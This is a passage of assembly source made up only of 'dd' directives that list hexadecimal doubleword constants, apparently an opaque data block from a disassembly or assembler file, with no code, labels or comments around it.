dd 1209F846h, 0F710E59Dh, 0ECDE5053h, 54CD404Bh, 0D28913E4h
dd 0F9290498h, 0E235BC0Bh, 92BF88h, 0EC987754h, 1698C667h
dd 27842571h, 0BD1D01FDh, 2D801B91h, 0CF6D753Eh, 4C9E7912h
dd 4AB735A0h, 0F940FFD8h, 0F72625A6h, 2E9751Bh, 5B90E7BFh
dd 58506661h, 59992C4h, 22AD9D42h, 0F477D5Eh, 0E7B809A4h
dd 0FAF56292h, 8A586A5Eh, 60E913DCh, 0DB9BFEF2h, 510A55C2h
dd 0DF41C1FCh, 81E02FEFh, 0C85C2713h, 48B25FFh, 2D2A52A8h
dd 9EC1ECDEh, 5704DC63h, 0FB8B686Bh, 0BF4F9CBCh, 3A00C47Ah
dd 0AF61685Dh, 0BE4E9BF8h, 50900B31h, 0F760207Eh, 0CF0FA2ADh
dd 0A126E484h, 7440AA29h, 5FA481D2h, 0FD3A6A90h, 2727B87Bh
dd 7861D633h, 0F867452Dh, 0C9FED20Ah, 64F68759h, 60F107B7h
dd 0AD41FC57h, 855275B5h, 2F775E61h, 3224341h, 56528850h
dd 3A56975Fh, 27F6A008h, 160BD77h, 0C8CE1F28h, 695F689Fh
dd 0D3ED5F46h, 4610EE60h, 13A2F887h, 1E82BC40h, 8B54C203h
dd 0FB756AF9h, 0C1D070D1h, 0BB165C00h, 31D6308Ch, 0DCF84B8Bh
dd 0F42CD82h, 0FFBAB381h, 78292FD1h, 0B664537Ah, 0AD0E0A5h
dd 0FEA0005Eh, 8C84B738h, 8009026Ah, 1860E1D7h, 72359A5h
dd 2F1BEDDEh, 8128B065h, 0DC25D65Ch, 7420F5EFh, 0D1561823h
dd 0AC80E104h, 95BC6144h, 0EDDD0115h, 6762B716h, 0DBBDB7C3h
dd 5FE99540h, 64CB0D4Bh, 5FB76E10h, 504164CDh, 7A7A0491h
dd 3559018Dh, 0E0E1B1C5h, 6085302Fh, 60C961F9h, 0FBE10D9h
dd 12629B8Eh, 0EB8897FEh, 62C0556Dh, 280BDF85h, 2083D89Fh
dd 309721F1h, 2B96080h, 47E8DE01h, 635E61F5h, 0BFBD2BC3h
dd 0CFE5F789h, 402AED2Dh, 0FF6AE02Ch, 0D6657697h, 579749Fh
dd 82EACF80h, 3BD4F9A1h, 1A0D8584h, 79A734BCh, 0B9A02E79h
dd 112D520h, 96BB70E6h, 0CC6F0EE4h, 0E9FE8971h, 91B3044Ah
dd 8102DF22h, 0BF2CD9F3h, 32E5E5Eh, 0D8D0950h, 0D75B4F27h
dd 0F6405A92h, 0D525BD23h, 2835926h, 12D18D29h, 244B501Ah
dd 3BFBC82Bh, 88604B7Fh, 9400DB75h, 6393804Eh, 3757B7B1h
dd 0AB807EF0h, 0A9881271h
dd 87E98903h, 0F305B971h, 0E6821BE3h, 0BB0B8108h, 1D2F50A6h
dd 0BB1830Eh, 104459EAh, 254B198Fh, 8A1607CCh, 0F017167Ch
dd 84F6E4B1h, 968C4F38h, 0D8194175h, 3D3FF8Dh, 9B001EF2h
dd 6621085Ah, 3B257952h, 4514E494h, 0CA92F2Ch, 0CFA41660h
dd 44009DD6h, 3005241Bh, 5183F2E3h, 92502FA5h, 4CC5E1BBh
dd 75406D5Bh, 0D89A4BB3h, 3648E501h, 0A06E5EF1h, 0E6CD3450h
dd 78AB1D60h, 2BB70DB5h, 699DF04Ch, 0F99B0B4Bh, 58CB1CC8h
dd 896802A1h, 0E0E82D3Fh, 24591B40h, 9AC7B980h, 0B7560998h
dd 0F3705B33h, 0AD784F93h, 0A6FA091Ch, 0C875174Ch, 7B8953Eh
dd 0A205AEC6h, 5AB210F7h, 0E8524799h, 0CDFF00AEh, 102624E6h
dd 20444A4Eh, 512C1C85h, 81674D00h, 888DD0E1h, 646A007Dh
dd 0EEFEDE02h, 8013D584h, 2D9BFC5Bh, 3AB8BF8Ah, 290806A0h
dd 0B2A85BDh, 47B7C02Bh, 5EADFB84h, 0D22BB6D1h, 1C0D043Ah
dd 0F609BC35h, 0CA3D5584h, 0ACFBFD2Eh, 19105DEh, 0E6205D9Dh
dd 378000C2h, 96B6AA8Fh, 0D812971Eh, 0FD25D5F9h, 761C1116h
dd 0D55E80E5h, 0E28D84D3h, 90CFD084h, 0D29BB92Bh, 8A13E16Bh
dd 0C3D8ABE6h, 2B0B4169h, 9A5A942Fh, 0F3D3891Fh, 0E67270A7h
dd 0A061D305h, 0D4F9BD31h, 2585CA4Ah, 80DF7B2Eh, 0F74023FBh
dd 8E001285h, 86E67FCDh, 258BB914h, 94C45FFAh, 928CF54Bh
dd 79B51229h, 98E513h, 0C0BEDFBEh, 45781497h, 0D19E20C4h
dd 25BD3044h, 5BC724CDh, 8101C611h, 80FA2ED3h, 3E282E40h
dd 0F18D867Dh, 0FDFD561h, 0B53110FAh, 0C4600144h, 121B71ACh
dd 0C88921B0h, 62252DF2h, 0F7D910h, 1F41A496h, 0B5049DA1h
dd 45A5D573h, 4CC9DDC1h, 7C23DEC1h, 1275EF27h, 910C56F8h
dd 5345096h, 5325B2B4h, 18185959h, 273F74DDh, 0B140A97Eh
dd 90B5EAA8h, 8A2FE8h, 0E4C9C722h, 311BDF55h, 12090E5Ch
dd 21E57C3Bh, 0BC97E93Ah, 4F907466h, 853C2052h, 0EC00209Eh
dd 0A07D2ECFh, 1D4F02A7h, 9296A1B6h, 8462C468h, 3A1BF50h
dd 800FDB2Ah, 7F4F41F4h, 9A1606C8h, 4A2F59DDh, 3E5A0295h
dd 8D6041EAh, 292B4625h, 0D0004228h, 2140CCD6h, 16A1710Ch
dd 85F53Fh, 89A0BF11h, 5B060AE7h, 0B9B18D1Bh, 615A0F34h
dd 0F03DB350h, 0BEA6BF9Bh, 0DD6CB03Ch, 47D7144Dh, 58EF989Dh
dd 3710B757h, 0D69FDC85h, 32C83D33h, 3DCADB80h, 0DFE2450Bh
dd 0CDD5CB09h, 0F2E8FD54h, 5FE25B04h, 29061895h, 0D1D69785h
dd 0DB466225h, 0B080DB6Eh, 0AB622746h, 20F558h, 21E5EF81h
dd 0E96F1509h, 8D45700Ah, 0A72FE0DCh, 57020A3Bh, 88099D4Dh
dd 0C1C9EAD9h, 5DA089C6h, 976171D0h, 10DE6B1Ah, 0A66C04DCh
dd 8229E45Eh, 3A5710DCh, 0A990576Ah, 5C192761h, 0FA8ECA9Ch
dd 433D992Bh, 148414E1h, 9D40DEB0h, 0C571088Ah, 1D90035h
dd 4B28C851h, 0CC951BEFh, 1195273Ah, 4DF35C2Bh, 71960578h
dd 1D5E4DA3h, 18C1AB8h, 0CC9F5F17h, 31BE5DC8h, 2D412F87h
dd 17800F60h, 9DD762h, 0C902B56h, 481CD0B6h, 8898A02Eh
dd 4EB5C5Eh, 0CBB79ACDh, 5971B861h, 0BF3BC62h, 0D88B192Eh
dd 5A9EC798h, 8D9B3D00h, 0A2F94831h, 0A14F03A3h, 63C3EA2Dh
dd 0C22879A8h, 0F588964Bh, 246200D8h, 0F0421122h, 784CC933h
dd 0FB8B0456h, 0DDB6965Fh, 0A435DEE0h, 1519E12h, 5B7BD2FBh
dd 73257F5Ch, 67FAD853h, 7C1CDBFAh, 68DCC259h, 0BE7BA104h
dd 0FF0577B8h, 8241A362h, 4FF475ACh, 0B0786625h, 0CF92DC2h
dd 0B6401A12h, 16B45F53h, 2DBD3340h, 2916971Dh, 0D4F0B6h
dd 34C277AEh, 805CCB08h, 0ED61912Dh, 3F6C082h, 9412FC41h
dd 10E216F9h, 0E2CAB0D7h, 0F1808B04h, 40AC615Dh, 7B8466A3h
dd 0A14CDB3Ch, 360B7925h, 2133A118h, 40411F00h, 34133965h
dd 5063E41Bh, 40D5C6E0h, 0E9255F03h, 6B3DFF40h, 0FB1B5902h
dd 11C64114h, 726787A5h, 0BF663D5Ch, 44C57BA5h, 19FCCF10h
dd 7F8D028Ch, 0E6BEBFA6h, 0A125F896h, 2FB7FD03h, 0EFDE488Fh
dd 8566645Eh, 69E4D0C4h, 0B6FE4A8Bh, 3019B2CBh, 0E101E465h
dd 80C6A41Dh, 342E66EBh, 0DE6EA868h, 1D19BD04h, 0C8A0F03h
dd 0E4CD494Fh, 2DF50A41h, 0C03CAC04h, 8E0F781h, 3754B1Dh
dd 969A50F7h, 44830F99h, 89B2BF1Fh, 96275B3Fh, 95C356CDh
dd 2B09EA0Fh, 0A18DA202h, 0F8095B70h, 53D4B761h, 0E3DF12C5h
dd 35B0501Eh, 1C814AEBh, 0E70FD781h, 0EFB3F266h, 20A93062h
dd 0E02A3B57h, 952A71BDh, 0B597F296h, 20E32FB5h, 0B17FD0F0h
dd 710867B6h, 0FF422513h, 438031B7h, 2FB799EAh, 92CF4801h
dd 0E0C8F612h, 9A95F51Fh, 0DC67DCF9h, 6601D9E0h, 1232F55Ah
dd 81C8A645h, 7BA409CBh, 18716235h, 4135F7A5h, 22EFA80h
dd 69CBA4D0h, 41784458h, 922B42B6h, 0B6181571h, 349D9F4Bh
dd 0FCADA83Fh, 40C802F9h, 33753C62h, 9DC123F4h, 5002261Dh
dd 0F484105Fh, 63AF0452h, 0B2E99D6Dh, 7CBA4EF3h, 83955B80h
dd 708B0FC0h, 0FE84AC35h, 106D258Dh, 4DA74F73h, 0F96CC1DAh
dd 6B58D67Eh, 40629225h, 972D3DC5h, 4245351Ch, 24252688h
dd 229613h, 42905560h, 26001C99h, 663E3598h, 4BD701BBh
dd 0A8CB1261h, 739627A7h, 301A70ECh, 0EDFC2E25h, 601D6449h
dd 7D37FA0h, 4D6156E8h, 0AB8A55F7h, 0FEF05BE4h, 0E8B370E3h
dd 0BD070073h, 0A9BFC778h, 91754758h, 98BABCFCh, 6D953A92h
dd 0A3BF1FAFh, 61251D28h, 1156C714h, 0F2093E2Fh, 359C294Bh
dd 4AE5F80Bh, 8CF2CC25h, 0DD6675BCh, 37A29051h, 0DD2DD995h
dd 61DB126Ah, 745AFD56h, 0C7EEDC28h, 9B6B6800h, 290DA023h
dd 71ED4DBDh, 0E9D3B702h, 818CF396h, 24A9582h, 0DA2EF4CDh
dd 0AF8583B9h, 4C0D909Ch, 4F031284h, 81DBBC89h, 23E1BD2Bh
dd 7EA09D2Bh, 0A6F19800h, 0BBF5090h, 49C233BBh, 51B35903h
dd 0B84EE9DDh, 2F623BA5h, 0DC20EE03h, 4826D88Bh, 9123C31h
dd 1AFCEAE8h, 1FFC9D8Ch, 13A3CE6Ch, 0F20607C6h, 0DF4A00A2h
dd 3B9966E6h, 0C4B500F4h, 4EDD01ADh, 2A019E2Fh, 5F70CB80h
dd 1CF5BD23h, 0D2E0EC6Ah, 0ECA08DB6h, 0D50F1E7Eh, 2949D822h
dd 0AFD190h, 0CAC64CC7h, 0BB70BE3Ah, 0FEDCB707h, 0D100455Ch
dd 179A60EBh, 30E87A07h, 0D9C54D43h, 357C3100h, 799C010Ah
dd 56B3159Dh, 9804CE5Bh, 0FEDA8B90h, 7F0BDE6h, 0BC7BCD4Dh
dd 1D34D759h, 73E5D18Dh, 4302AD7Ch, 0F9568341h, 0DFCDD569h
dd 566C1462h, 5DEE41DBh, 6D47E874h, 97309900h, 6E28F558h
dd 325F90D8h, 0D18F2F2Dh, 25D9FC41h, 33282BCDh, 9D29886Dh
dd 68959h, 32B7026Ah, 120EBB50h, 0C4090D66h, 4E80CACAh
dd 0AC83E5DAh, 6F9879ADh, 18127145h, 3F61B864h, 0CFC4878Fh
dd 6E800093h, 0FE4F5AC0h, 0F82D3BEDh, 9F821097h, 4DE509F5h
dd 80DD7433h, 1930BBECh, 8CCC00A3h, 997AC67Ch, 0E97A5F5Bh
dd 203F1C97h, 8B2CC6ADh, 7CDEE7FAh, 0DE8B0431h, 0B80E1205h
dd 2EDDD436h, 0A109A490h, 3D9850D3h, 561291ABh, 0A486B85Fh
dd 32A04FF6h, 72018794h, 10931FA3h, 0A97088B5h, 4BF6F664h
dd 7A298916h, 0C84BEF7Ah, 9B90C0ABh, 0B9469B95h, 0EDE66AFBh
dd 682BEEA7h, 30A96B02h, 78475B77h, 505CA290h, 38544AF4h
dd 11BD0940h, 424B7123h, 0B007011Eh, 30C38000h, 81704BE6h
dd 3571E4FBh, 0ADD644EAh, 33053644h, 0CD3121Ah, 943E0F8h
dd 145A857Dh, 4E7ED5A6h, 0E2C4528Ah, 0BC57009Eh, 0E369634Bh
dd 554158F5h, 0AEEB8009h
dd 48B65070h, 17FD0540h, 0FBA300EEh, 80DBC2DCh, 7B1D71E6h
dd 51ED75F4h, 25FA4CE2h, 482B2C40h, 1AC090C8h, 5E6486B6h
dd 0C6ACDA00h, 5D3937AAh, 14B40265h, 0B1220407h, 0E1072658h
dd 7FBB5CD4h, 610C3E10h, 0D18B275Fh, 78A52AF9h, 62A5849Ch
dd 8BFC1779h, 2B259057h, 35A54C9Dh, 0C207C085h, 3857A168h
dd 8C2F2D7Eh, 8C811845h, 0E96934DBh, 60159E48h, 1792E294h
dd 40043C70h, 61090AF9h, 0E3A07971h, 6E88DF4Bh, 69469C28h
dd 625B54A9h, 3433CE28h, 0AC9A452h, 19589B7h, 9D5A71Dh
dd 86A5B75h, 0FC2445ACh, 0CDF52112h, 54BCE639h, 619D554Bh
dd 0FC36FC3Eh, 2863007Ch, 151CD69Ch, 0FB20B9BEh, 5689950Eh
dd 77082DBh, 0FCE8258Eh, 0B2C5DFCDh, 15269DC0h, 0E3500180h
dd 35B589D2h, 1D452E28h, 0AD23870Fh, 7BFF84BAh, 91A700DDh
dd 499CF11Fh, 9841422h, 4D17E2E1h, 81159230h, 3C563289h
dd 0E12040D2h, 0E828229h, 30D51E9Dh, 1DABBA5h, 952FBC2h
dd 380B25B5h, 61B6B4EEh, 0EDD1AAA0h, 0A90127F8h, 8C6CBBD0h
dd 96A75E4h, 0C1560212h, 0D408FC5Ah, 6AA8FF07h, 0EC7CEBE1h
dd 5F264081h, 64251797h, 6F4F6017h, 888C4EAEh, 3300B34Ch
dd 0FA566302h, 983CCA78h, 0F9014405h, 69606EADh, 26A3A4A8h
dd 8355229h, 5B1213F9h, 0EB963FE2h, 27A90D84h, 169836B8h
dd 5B12A125h, 0BBB709E0h, 0EDAD4D71h, 0F8D4C906h, 0F504F3EFh
dd 3FAE1EDDh, 2D1A2309h, 56319A7Dh, 10C2518Eh, 3CD6C781h
dd 8A4BF4D2h, 19B34A88h, 603114F2h, 6B9E282Eh, 0EC85045Dh
dd 0D8710705h, 4F19E7AEh, 46D9F45h, 0E42E95FFh, 0F898F85Ch
dd 0C2915125h, 70937BA0h, 0EB04E760h, 0C675612Eh, 0B16112BAh
dd 0C0F41BBFh, 2AE0F27Dh, 25487472h, 9450DE20h, 0C7568E8Ah
dd 7B014789h, 516ED02Dh, 0F8BF0F12h, 1BACEDADh, 0A52F008Ch
dd 88912617h, 80124571h, 8BF8BFD7h, 0AD49C412h, 891CADF4h
dd 967F003Dh, 0F1E93F65h, 2B549A6h, 2D1B4535h, 0DEBD0258h
dd 0FE52955Ch, 4A1440CAh, 3A002E62h, 0D7D4915Ah, 0B557335h
dd 6057D094h, 0AB5B7284h, 1D4ECF27h, 8980D994h, 70EFDB58h
dd 0AA0B72ECh, 0D8852F3Bh, 0E14D957Fh, 0DF601A64h, 8E0B06BEh
dd 0C155A7B9h, 752E2134h, 38F6ACA3h, 4B8C4B8Dh, 4163B809h
dd 20E9E017h, 6DB70270h, 9F36E015h, 0E325805Dh, 9578C6C4h
dd 56D29AE5h, 0BDDF2778h, 3D1700BFh, 8B9DC7B6h, 0D0DAAA13h
dd 2FA6C9FAh, 4BE68A81h, 0B199372Eh, 2E4779BBh, 6B438335h
dd 0BD896048h, 0BD9D9680h, 0A6B38A1Bh, 2BE58DE8h, 0DF460DC9h
dd 0B60F56E4h, 60AA7FE1h, 2F36C259h, 0BF3D01D6h, 6C69A28Fh
dd 47FECC94h, 610A964Ah, 5304E450h, 0DEB8615Fh, 4118C480h
dd 3700490Bh, 4DF2588Eh, 0A3F090Ah, 9661DAADh, 8F00DEC1h
dd 3CD8BFB0h, 24EC7A0Bh, 0A85BD249h, 934D95B0h, 69611564h
dd 7CC82B31h, 7810095h, 90C7532Bh, 4D01A328h, 70526891h
dd 0FD3C9B94h, 0C64F9280h, 5D7D4E1Bh, 0E463980Fh, 44754017h
dd 0B2493B3h, 577BF53Dh, 0BC0088C4h, 91F17AEEh, 0CF8D21h
dd 0C23E7019h, 0A704AAF5h, 4AF9F648h, 93AD50C0h, 0DB644A8Ah
dd 80E58F7Eh, 0B5290CF7h, 9D244B39h, 55AC3E6Fh, 49DFB993h
dd 902EBDB8h, 0D4991E1h, 9B81B64Ah, 9A6B6568h, 0C215C805h
dd 985EF6BEh, 0B81E6B40h, 0A9EF0089h, 81C29228h, 0E898EC36h
dd 198A1406h, 40F03125h, 231D611Ah, 5BED2DBDh, 763569D8h
dd 3285D780h, 11D7A82h, 0ECDB814Fh, 2B194AE0h, 0E150AA28h
dd 80F7DE2Eh, 2743F575h, 0C4ABA85Eh, 31A89830h, 0E9C8042Dh
dd 56DE3B3Bh, 11A28CCFh, 8C5C47ACh, 1585C975h, 4AFCECD5h
dd 0C2228ECAh, 4D959298h, 68B82FA7h, 16952359h, 0C14D97BFh
dd 0AD88DD40h, 9CB3253Dh, 9D2D4ECCh, 0C9A759F5h, 0C0808835h
dd 1E3E94CBh, 91685015h, 611A979Ch, 7F8D45C0h, 0C90081B0h
dd 36BE6096h, 2741ED99h, 0FC715061h, 0B8C37BBh, 25BB9600h
dd 4FE5299Fh, 66EDA586h, 0CC1331E1h, 1D62BE8h, 294C36A1h
dd 2A0C05BDh, 1CC880DBh, 4D20C5C0h, 244370C0h, 0A01496Fh
dd 0C1B0D9BFh, 2EBD3160h, 807313D7h, 540BE2F1h, 0E3326E0Ah
dd 0EB810190h, 4DE98221h, 7C082A19h, 89011D1Ah, 0A8C53151h
dd 5028D3ADh, 0B973F92h, 0C446768Ah, 406CB8DFh, 0B84BC4E7h
dd 0EC316F8Ch, 0B7265A25h, 428B20ABh, 43AF5A2Eh, 63A5C3C0h
dd 0DBB0188h, 0BF852000h, 3184C153h, 7565955Fh, 9F393151h
dd 60E28612h, 19529B1h, 1FE22C4Fh, 2E53BC93h, 253927C2h
dd 7E0C1A52h, 0CABE006Bh, 0BF585AC7h, 3C9BF504h, 18B86143h
dd 8BC7849h, 47977509h, 24AF876h, 0A9CCD781h, 83B7146Fh
dd 0F5811811h, 6BD7B95Eh, 730CDC49h, 25E7A05Bh, 34C53339h
dd 803AC53Dh, 0BB5096F0h, 0EEC4580Eh, 1BB6F216h, 5FCFA3E0h
dd 80690739h, 0FCD0DCF1h, 1619C780h, 52E5BD8Bh, 0AA7DB822h
dd 0B09B50h, 11CCF69Bh, 0BF9A49C4h, 22C67209h, 0A312712Fh
dd 4C735864h, 5FA33200h, 4288EC8Bh, 0EDB51301h, 23DC7A13h
dd 1F6A001Ah, 0ACA8A110h, 718B2C2Dh, 0ED7B490Ch, 220F1650h
dd 31160686h, 0AB8BD8Dh, 5F2B38F2h, 0FD85A3E0h, 8FC5BDB7h
dd 0CFA12CCEh, 20771FA8h, 525BF76h, 0BB9DC01Bh, 0C45412BCh
dd 0D688E317h, 82C4C29Ah, 584AB8BDh, 0F3569F4Dh, 0C0F19BAAh
dd 5BE5D32Ah, 9A5D178Ch, 656C8D2h, 0CD686901h, 0DB960D29h
dd 20DD8A01h, 1C4BC56Ah, 9B2F839Dh, 0ADA5835Ch, 0BD89A860h
dd 18A99619h, 2D71E25Eh, 92BBEEBCh, 91AD2AA9h, 43BB6607h
dd 820F6241h, 0BA0CE75Bh, 0B0608AA2h, 53E89551h, 0DD4A8529h
dd 7720575Ah, 385850F3h, 0D7FC00CAh, 0ECED296Dh, 9ECBBD6Ah
dd 41AB5C0Dh, 2707D668h, 4AD4A092h, 0B2073A22h, 513C25Fh
dd 3979F67Bh, 8B4D306Eh, 8A5A50DAh, 816907EEh, 887A11EFh
dd 0A7986B16h, 0EBF5002Dh, 0A5486D64h, 1800725Ah, 977769AFh
dd 5EFE8A59h, 0CD6F6Ah, 6E4FCA3Dh, 5F943815h, 58CE4B5h
dd 0CE551F41h, 0A4E5B6BFh, 371CFF6h, 0FE7ECC95h, 64CEA18Eh
dd 4B020D20h, 1AC29D5Bh, 38C7C0AFh, 2F27DB80h, 8CDBD1FFh
dd 5C1B1270h, 0DA25A83Ah, 6B11C7C5h, 11B28924h, 0F4937402h
dd 6D3478h, 0D6278B58h, 8D890B85h, 50DFC995h, 392ED8F1h
dd 0C0615AEBh, 0BDA3D8ACh, 7B702FFCh, 0B1072F64h, 9DB7C7C0h
dd 6CC450B7h, 72E1C5B8h, 2FF806D6h, 6FBD2CE9h, 6B725F01h
dd 95766545h, 0C6040D48h, 0B8615951h, 83DBD3D3h, 0AA3D2381h
dd 0F2569250h, 62D60CACh, 5BF561B4h, 0E4B8D341h, 0CE9956D8h
dd 31823380h, 1297EF77h, 0F65BD9C1h, 0BE04E23h, 849D4B42h
dd 0FCC3E8FDh, 52028C19h, 0D71C780Ch, 6F72C00Dh, 0B5469FA9h
dd 76B16004h, 4CEDB589h, 55736125h, 0E0E9BD3Bh, 0F64A502Fh
dd 71532E1Dh, 0F04D132Ah, 0CE09BBCBh, 7362368Ch, 602D11D5h
dd 382651D2h, 73E1BF37h, 58CC2AB0h, 0D63600DBh, 94875606h
dd 7302EB5Ah, 0E69510B3h, 7F444670h, 0D83A0FA7h, 4B61EB1h
dd 0B85D2526h, 133176FAh, 9608E477h, 0ECFD4C2Eh, 0BD17013Bh
dd 69F92E25h, 5FC7D880h, 2908150Fh, 0A52D3D95h, 0FC5E0FC2h
dd 0C1FE900Bh, 4423BABCh, 84FF9941h, 8262B105h, 0C642C175h
dd 1101DADFh, 602AF5F7h, 2B0DFDA0h, 0B760B8C8h, 9BE9C7C8h
dd 10EB55D4h, 2A761CB5h, 0B0C86995h, 8190B676h, 0A24EF2BBh
dd 42902B12h, 43A0EACAh
dd 31D91176h, 0C1B5A29Ch, 0E901252Dh, 9817B160h, 982B9DADh
dd 0F888123Bh, 32553899h, 183D1980h, 0CACCC160h, 0B2BA7802h
dd 5CA5C05Fh, 523644D6h, 44380FA2h, 0EEAA600h, 0BD9910A7h
dd 98DE3297h, 0DA8742Dh, 9E427F89h, 0C7906FEh, 227A559h
dd 2D40C2BBh, 0C2E45C52h, 0FE0B54A7h, 1E31C5F5h, 660B60E9h
dd 0ADB59AB8h, 232C2620h, 0B2DBB6D2h, 3A6C301Dh, 52E44000h
dd 0B7E0957Fh, 0CDBAC43Ch, 0D5B90B2Eh, 860F4E60h, 0E3047BBBh
dd 0EEB8177Eh, 28253262h, 3A04F20Eh, 0E6FA2BFAh, 3763E016h
dd 0E9E10178h, 0E8A526B3h, 0F7F74028h, 2BE1BA03h, 0EF249B7Bh
dd 0C5DD1235h, 0FD6DAA2Fh, 83C0A61Ah, 0D316A3DBh, 4554D100h
dd 9D015CC8h, 29224055h, 0BAE5B54Bh, 0E5E7A000h, 0D7416B6h
dd 0CFF49E88h, 9F0BDD2Bh, 850921A2h, 48691F69h, 617F7931h
dd 5F82AD5Fh, 2AD67E8Bh, 41946D6h, 6B1C0C36h, 25ECBBC5h
dd 1506E780h, 6F0437E0h, 56A1F6E6h, 0DB921ABCh, 0BADEC0BFh
dd 25D27E58h, 14E5FE8Bh, 6DB7BB60h, 0E6145DEAh, 0CFE436BCh
dd 82F4FF69h, 5CDEBFE6h, 1FBA51E2h, 9D09FC80h, 0BF80132Dh
dd 494838B8h, 6279E174h, 0D802B1ECh, 0E3A87EEEh, 0F29057EAh
dd 4F006285h, 0C06C3596h, 7723BDE8h, 189A97A2h, 574BF27Ch
dd 0FE8BD647h, 57A5157h, 807BE0A9h, 0BBBC272Bh, 29FB3E0Eh
dd 324CA013h, 0E25B7888h, 0C5E156FFh, 0E468BAF0h, 26DEFA1Dh
dd 7E8933AEh, 461F7916h, 0ED975AE6h, 0D547E04Fh, 0F84B8A61h
dd 0D43539CAh, 0B8AAA95Bh, 0EF8F0E22h, 8EC9675Fh, 24319782h
dd 866274F1h, 7B611269h, 4060021Ch, 952649DDh, 1ABCC0C4h
dd 78378709h, 0DC8D9400h, 0FA77D607h, 0B710E36Fh, 0C473F4C9h
dd 0BC2341A0h, 0A73AC801h, 89B51770h, 211555E2h, 0EFC4D74Bh
dd 0FBDDBA95h, 0C4745128h, 575F90F9h, 0BF5B5BA0h, 0FABBED80h
dd 73130C1Ah, 3988310Fh, 22B61EDEh, 0ECF1C07Bh, 79C878Eh
dd 0E1FC5C02h, 0D5585A45h, 0B83D7B7h, 5A4EFBA5h, 0BA6E3Eh
dd 7809ADFCh, 992E73h, 68E2DF80h, 0CF867CB3h, 4151602Eh
dd 41804765h, 4F1319C0h, 4CF8F45Bh, 30988713h, 0ECE592A6h
dd 4BC70990h, 0BDF55131h, 0CAB8DB01h, 6A896CAEh, 88C2209Fh
dd 0A957E9DBh, 0C1DEF6F6h, 6A280D9Dh, 3E71D7DDh, 7ED2122Bh
dd 0CFF871BDh, 25EB3458h, 9FC5C419h, 2E807F37h, 9FCFE33Bh
dd 956B737Ch, 11A3E04h, 0D01EBF66h, 0BD71982Bh, 210B2523h
dd 683EF963h, 980220CBh, 91BD128Bh, 9811F20Ch, 970FB91Ah
dd 824B1193h, 0EA96CC93h, 0BCF45A87h, 61606256h, 27BE597Fh
dd 842D8F79h, 2E6680EBh, 965F9CA0h, 5D8D891Ah, 69E45661h
dd 4583E020h, 0C304EC68h, 0A8B3141Fh, 13CF81ABh, 8DCAC3C0h
dd 11CFB557h, 791C8016h, 4B9D311Dh, 50EB0BBDh, 17F95A18h
dd 83EB0A0Fh, 68054095h, 92BBE9B9h, 0A25CD430h, 18FB6E5Eh
dd 0EBE61BDAh, 0B6F25AA0h, 3017B246h, 0A8245A3Bh, 0D438B87Fh
dd 62B761E8h, 5A7C56D4h, 0BC8D6D80h, 94957BA9h, 27396995h
dd 17007671h, 748EDB40h, 0F2F64Fh, 0B52A75BDh, 5A6E3A9Ah
dd 0A3DFED1Dh, 28F0F84h, 0EA03524Bh, 113F2DE9h, 0F8CA857h
dd 0DE5F5038h, 68DD7C1h, 4151B3ADh, 55F325DDh, 7820B351h
dd 0F901480Dh, 0B8776184h, 28FEA263h, 0ADF159CCh, 8BB7DF1Ah
dd 97EA8C08h, 3A9AC9FFh, 0EAC07B9Bh, 5C9807E8h, 44239F1Eh
dd 8F8BF81h, 206E0CCDh, 623A26F1h, 0D3B47E25h, 0CEF4008Fh
dd 9575D697h, 9530AE5Fh, 407D8509h, 1A975F0Bh, 0CC1AFDA3h
dd 3167F354h, 552A69C2h, 0F1CDE5BAh, 0B68071E4h, 99699D33h
dd 52B51CC4h, 9304E830h, 0FD5EAE09h, 0EEBF5AE0h, 0A42A6841h
dd 0F3178143h, 38FDBB23h, 0D78004DEh, 0C07FB81Bh, 56BE781h
dd 6B5E52DFh, 47BB6604h, 9D8AAC5h, 0B2521BDh, 0CBF0B36Fh
dd 612640B1h, 6FD990B7h, 0B453000Ah, 2C1184EAh, 0D602E574h
dd 292D26ABh, 0A5F359ADh, 0B400A9D9h, 8E50F5F0h, 10479463h
dd 0C25F2510h, 92C657h, 6574ACD0h, 75CA2325h, 0C5545101h
dd 53D47DBAh, 0C863132Eh, 0F6024E73h, 140D6779h, 696B5C3Eh
dd 20432BE0h, 336A1897h, 240D20BDh, 0E5D322C2h, 0DAF3DDC0h
dd 1AF03F7Bh, 9BED5E00h, 8529261Dh, 5FA4EAB7h, 3706F9Ah
dd 80321495h, 9FC672CDh, 853A256Ch, 7296C055h, 604FAD50h
dd 23973122h, 87A43C07h, 0BD8224C2h, 0AD97D0F5h, 6018C4DBh
dd 5C811E8h, 0BF0F2268h, 52ED1EFBh, 954E71Ah, 71F5C7B3h
dd 0BE3C4453h, 5F056270h, 14000BDh, 0D471C9FAh, 0AF0069F7h
dd 6BC61FB0h, 0E505749h, 0A0111BBBh, 0FAD2AAF6h, 0FC98A931h
dd 7F2F43FBh, 982142B8h, 0FFEB660Bh, 68550005h, 4A0EACDEh
dd 0A0F6CA5Bh, 93E517Fh, 3329DB31h, 0CE1C957Eh, 350958E4h
dd 59577361h, 0FF1819h, 7FFE51BFh, 0F58D01E1h, 30FB2A5Eh
dd 442CC1D4h, 6892482Bh, 4EF37F8h, 7CEEE6D7h, 0A511C2A8h
dd 0BA95CC58h, 50B37B62h, 8014C31h, 0A28B1513h, 71E7210Dh
dd 251A4E62h, 5092223Ah, 5AD2560h, 97615B80h, 4F447514h
dd 0BBB82460h, 30161355h, 9BA7CF55h, 0F6D2AF00h, 80F986F5h
dd 983A0254h, 6142FB19h, 38796C55h, 4E47399Dh, 3780259Ah
dd 45F6E2ADh, 25B50239h, 648CCFC5h, 0D4BF6018h, 55A62415h
dd 8E906099h, 8300DBA3h, 0BE032505h, 1CD975C2h, 2C90BC1h
dd 0AEE9F8B5h, 56259F5Ch, 9272DCF1h, 5C930B02h, 60C18B48h
dd 970469A3h, 4D58E3Ah, 87E890BCh, 0DA085033h, 0C8DBABC4h
dd 0F274D380h, 0A1029B51h, 0A7E82ABBh, 3FA2556Ch, 100D2199h
dd 0B00B65FCh, 5E8EC49Bh, 0A3E6FFE5h, 4A4218F2h, 8F954772h
dd 0C9DF294Dh, 0EB05FAF3h, 98F03036h, 7E6416BCh, 6C9BBA6Ah
dd 0DEE02682h, 0FA96F5DCh, 71C4A5A9h, 0B52D2911h, 23179EB8h
dd 8453A9BDh, 96E2C5FCh, 0F64CFCh, 0BC13E182h, 938F1667h
dd 0AB874028h, 4317920h, 9509026Ah, 90229275h, 0E40084F9h
dd 4A4914D6h, 11C60105h, 82B3507Eh, 0F05E2690h, 17E25549h
